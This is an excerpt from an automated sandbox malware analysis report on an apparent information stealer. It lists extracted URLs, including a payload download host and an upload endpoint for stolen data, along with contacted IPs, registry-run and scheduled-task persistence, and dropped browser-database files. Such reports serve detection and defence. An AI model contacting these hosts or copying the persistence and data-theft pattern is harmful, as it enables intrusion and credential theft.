http://crl.xrampsecurity.com/XGCA.crl0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2834729282.000000000F6F0000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	false
https://support.microsof	d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false
https://www.libssh2.org/V	Potwierdzenie.exe, 0000000A.00000002.3015026748.0000000009F40000.00000004.10000000.00040000.00000000.sdmp	false
http://www.cert.fnmt.es/dpcs/	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2842685841.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2803939417.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2812126299.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	d84bd44db0.exe, 0000000D.00000003.2905951876.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false
http://www.accv.es00	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563208703.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564547792.000000000F71D000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/php/php-src/issuesbefore	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982318794.0000000008BD0000.00000004.10000000.00040000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/K	d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.m	Potwierdzenie.exe, 0000000A.00000003.2865850953.0000000004A23000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2858242102.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856045875.0000000004A1E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2899152712.0000000004A23000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/E	d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/License	powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false
http://www.firmaprofesional.com/cps0	Potwierdzenie.exe, 0000000A.00000003.2562887268.000000000F762000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2847917995.000000000F6B1000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F759000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9C000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D95000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2859915134.000000001D511000.00000004.00000020.00020000.00000000.sdmp	false
http://www.exeoutput.com	Potwierdzenie.exe, Potwierdzenie.exe, 0000000A.00000000.2545800226.0000000000757000.00000080.00000001.01000000.00000009.sdmp	false
http://.css	Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	false
http://185.215.113.16/off/def.exe9J	d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false
http://bugs.php.net	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982563333.0000000008BE0000.00000004.10000000.00040000.00000000.sdmp	false
http://crl.securetrust.com/SGCA.crl0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.securetrust.com/STCA.crl0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	false
http://www.php.net/	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	false
http://www.quovadisglobal.com/cps0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/f	d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false
https://ailurophilestealer.com/upload.php?	Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	false
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563208703.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564547792.000000000F71D000.00000004.00000020.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	d84bd44db0.exe, 0000000D.00000003.2670434667.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false
http://www.php.net/D	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986740592.0000000008DD0000.00000004.10000000.00040000.00000000.sdmp	false
http://.jpg	Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.26.9.59	api.myip.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	play.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.110	plus.l.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558080
Start date and time:	2024-11-18 23:02:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@117/48@15/15
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 142.250.185.195, 142.251.173.84, 142.250.185.110, 34.104.35.123, 142.250.186.35, 184.28.90.27, 142.250.184.234, 142.250.186.138, 216.58.206.42, 142.250.186.42, 142.250.74.202, 172.217.23.106, 142.250.186.106, 172.217.16.202, 172.217.18.10, 142.250.184.202, 216.58.206.74, 216.58.212.138, 172.217.16.138, 142.250.181.234, 216.58.212.170, 142.250.186.170
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, location.services.mozilla.com
Execution Graph export aborted for target d84bd44db0.exe, PID 4412 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7336 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7536 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7544 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:04:00	API Interceptor	13358887x Sleep call for process: skotes.exe modified
17:04:26	API Interceptor	3x Sleep call for process: WMIC.exe modified
17:04:30	API Interceptor	196x Sleep call for process: d84bd44db0.exe modified
17:04:33	API Interceptor	23x Sleep call for process: powershell.exe modified
17:04:43	API Interceptor	3x Sleep call for process: svchost.exe modified
17:04:54	API Interceptor	224x Sleep call for process: 4dfaa8fc03.exe modified
17:05:22	API Interceptor	9084411x Sleep call for process: 9774c44c62.exe modified
22:03:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:04:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d84bd44db0.exe C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe
22:04:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4dfaa8fc03.exe C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
22:04:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3c0b9f98b1.exe C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe
22:05:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7cda1b2e6f.exe C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe
22:05:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d84bd44db0.exe C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe
22:05:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4dfaa8fc03.exe C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
22:05:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3c0b9f98b1.exe C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe
22:05:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7cda1b2e6f.exe C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCAAKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x42037128, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42218894919250227
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:nazag03A2UrzJDO
MD5:	18A9EB0562984E2487016B73F9E32538
SHA1:	AD37B8629A6C8E8E416C512C8B2AB1D092073971
SHA-256:	2EDEDDB02D605F7DA31585B2C3D93F7F55CFAC33EE60A96FEEFCDE2F2BE0C080
SHA-512:	2634D2C56B200F547FC7EE03A73E235ED707A32488EEADFEDA56EB7A96488D3495BEA86BDF06C7873BE34A4889969FBC57D4EA67BC3EC5889660050418EFCB78
Malicious:	false
Reputation:	unknown
Preview:	B.q(... .......Y.......X\...;...{......................n.%.....9....\|..,....\|e.h.#.....9....\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................+),=9....\|..................<..9....\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Ailurophile\Autofills\Autofills.txt

